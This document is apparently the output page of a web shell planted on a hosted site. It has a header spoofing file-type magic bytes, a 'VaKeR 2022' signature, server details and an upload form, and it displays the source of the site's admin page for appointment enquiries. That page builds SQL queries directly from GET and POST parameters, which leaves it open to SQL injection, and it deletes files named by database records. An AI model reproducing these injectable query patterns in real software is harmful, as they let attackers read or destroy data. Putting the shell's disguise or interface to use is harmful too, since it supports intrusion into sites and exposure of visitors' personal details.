%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6031bb72/admin/manage_enquiry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6031bb72/admin/manage_enquiry/appointment.php
<?php 
include("../function.php");
if($_SESSION['admin_id']==""){
    header('location:../login.php');
}
$login_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));
include('../include/sidebar.php');

#$menu_id=$_GET['id'];

?>

<!-- [ Main Content ] start -->
<div class="pcoded-main-container">
    <div class="pcoded-content">

        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="page-header-title">
                            <h5 class="m-b-10 btn btn-dark btn-sm btn-round has-ripple"><i class="feather icon-check-square"></i>&nbsp; Manage Appointment Enquiry</h5>

                        </div>
                    
                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->

        <!-- [ Main Content ] start -->
<div class="row">
<!-- [ col-md-12 ] start -->
<form method="post" action="">
<div class="col-md-12">
<div class="card">
<div class="card-header d-flex justify-content-between">
<h5>Manage Appointment Enquiry</h5>
<div>
<input class="btn btn-danger btn-sm btn-round has-ripple" type="submit" value="Delete" name='but_delete'>
<input class="btn btn-success btn-sm btn-round has-ripple" type="submit" value="Activate" name='but_active'>
<input class="btn btn-secondary btn-sm btn-round has-ripple" type="submit" value="Deactivate" name='but_deactive'>
</div>
</div>

<div class="card-body">

<?php if(isset($_SESSION['message'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['message'].'  &nbsp;<i class="feather icon-thumbs-up text-success"></i></strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['message']); 
?> 

<?php if(isset($_SESSION['error'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['error'].' &nbsp;<i class="feather icon-thumbs-up text-danger"></i></strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['error']); 
?> 

<?php if(isset($_SESSION['delete'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['delete'].'&nbsp; <i class="feather icon-trash-2 text-danger"></i></strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['delete']); 
?>     



<div class="table-responsive">
<table id="report-table" class="table table-bordered table-striped mb-0">
<thead>
<tr>
<th><input type="checkbox" id="some1" data-check-pattern="[name^='delete']" />
</th>
<th>Sno</th>
<th>Service Name</th>
<th>Details</th>
<th>Booking Time</th>
<th>Receive Date</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$user_fetch_query=mysqli_query($conn,"SELECT * FROM enquiry_tbl WHERE `enquiry_type`='3' ORDER BY id DESC");
$n=1;
while($fetch_row=mysqli_fetch_array($user_fetch_query)){ ?>

<tr>
<td><input type='checkbox' name='delete[]' value='<?=$fetch_row['id'];?>'></td>
<td><?=$n; $n++;?></td>
<td><?=$fetch_row['service_name']?></td>
<td>
  <b>Name : </b><?=$fetch_row['name']?><br>
  <b>Email : </b><?=$fetch_row['email']?><br>
  <b>Phone : </b><?=$fetch_row['phone']?>
</td>
<td><?=$fetch_row['book_time']?></td>
<td><?=$fetch_row['receive_date']?></td>
<!-- <td> -->
<?php
// $doc = $fetch_row['document'];
// if (!empty($doc)) {
//   $ext = strtolower(pathinfo($doc, PATHINFO_EXTENSION));
//   $fileUrl = "../../images/Upload/career/" . $doc;

//   $iframeTypes = ['pdf', 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx'];

//   if (in_array($ext, ['pdf'])) {
//     echo '<iframe src="' . $fileUrl . '" width="150" height="100"></iframe>';
//   } elseif (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'])) {
//     echo '<img src="' . $fileUrl . '" width="100" height="80" style="object-fit:contain;border:1px solid #ccc;" />';
//   } elseif (in_array($ext, ['doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx'])) {
//     $officeViewer = "https://view.officeapps.live.com/op/embed.aspx?src=" .$fileUrl;
//     echo '<iframe src="' . $officeViewer . '" width="150" height="100"></iframe>';
//   } else {
//     echo '<a href="' . $fileUrl . '" class="btn btn-info btn-sm" download>Download ' . htmlspecialchars($doc) . '</a>';
//   }
// } else {
//   echo 'No Document';
// }
?>
<!-- </td> -->
<td>
<?php
if(($fetch_row['status']=='1')){ 
echo'<a href="appointment.php?page=appointment&&status_id='.$fetch_row['id'].'" class="btn btn-success btn-sm"><i class="feather icon-eye"></i></a>';
}
else{
echo'<a href="appointment.php?page=appointment&&status_id='.$fetch_row['id'].'" class="btn btn-danger btn-sm"><i class="feather icon-eye-off"></i></a>';  
}
?>
&nbsp; 
<a href="appointment.php?page=appointment&&delete_id=<?=$fetch_row['id']?>" class="btn btn-danger btn-sm"><i class="feather icon-trash-2"></i></a>
</td>
</tr>

<?php } ;?>


</tbody>
</table>
</div>



                    </div>
                </div>
            </div>
            </form>
            <!-- col-md-12 end -->
        </div>
        <!-- [ Main Content ] end -->
    </div>
</div>


<?php
if(!empty($_GET['delete_id'])){
$id=$_GET['delete_id'];
$dlt=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `enquiry_tbl` WHERE id='".$_GET['delete_id']."'"));
$dlt_path="../../images/Upload/career/".$dlt['document'];
unlink($dlt_path);

$dtQuery=mysqli_query($conn,"DELETE FROM `enquiry_tbl` WHERE id='$id'");
if($dtQuery){
echo "<script>window.location='appointment.php?page=appointment';</script>";
$_SESSION['delete']="Record Deleted Successfully";
}
}
?>

<?php 
if(isset($_POST['but_delete']) && isset($_POST['delete'])){

    foreach($_POST['delete'] as $deleteid){
        $dlt1 = mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `enquiry_tbl` WHERE id='$deleteid'"));
        $dlt_path_main = "../../images/Upload/career/".$dlt1['document'];
        unlink($dlt_path_main);

        mysqli_query($conn,"DELETE FROM enquiry_tbl WHERE id='$deleteid'");
    }

    echo "<script>window.location='appointment.php?page=appointment';</script>";
    $_SESSION['delete'] = "All Records Deleted Successfully";
}
?>

<?php
if(!empty($_GET['status_id'])){
$id=$_GET['status_id'];
$stsQry=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `enquiry_tbl` WHERE id ='$id'"));
if($stsQry['status']==0){
$updtQry=mysqli_query($conn,"UPDATE `enquiry_tbl` SET `status`='1' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){
echo "<script>window.location='appointment.php?page=appointment';</script>";
$_SESSION['message']="Records Activated Successfully";
   }
 }
elseif($stsQry['status']==1){
$updtQry=mysqli_query($conn,"UPDATE `enquiry_tbl` SET `status`='0' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){
echo "<script>window.location='appointment.php?page=appointment';</script>";
$_SESSION['error']="Records Inactivated Successfully";
    }
  }

 }

?>

<?php 
if(isset($_POST['but_active'])){

  if(isset($_POST['delete'])){
    foreach($_POST['delete'] as $deleteid){
        $deleteUser =  "UPDATE `enquiry_tbl` SET `status`='1' WHERE id=".$deleteid;
      mysqli_query($conn,$deleteUser);
      echo "<script>window.location='appointment.php?page=appointment';</script>";
     
      $_SESSION['message']="Email Unblock Successfully";
    }
  }
 
}
?>

<?php 
if(isset($_POST['but_deactive'])){

  if(isset($_POST['delete'])){
    foreach($_POST['delete'] as $deleteid){
        $deleteUser =  "UPDATE `enquiry_tbl` SET `status`='0' WHERE id=".$deleteid;
      mysqli_query($conn,$deleteUser);
    }
    echo "<script>window.location='appointment.php?page=appointment';</script>";
    $_SESSION['error']="Email Block Successfully";
  }
 
}
?>




<?php include('../include/footer.php'); ?>

VaKeR 2022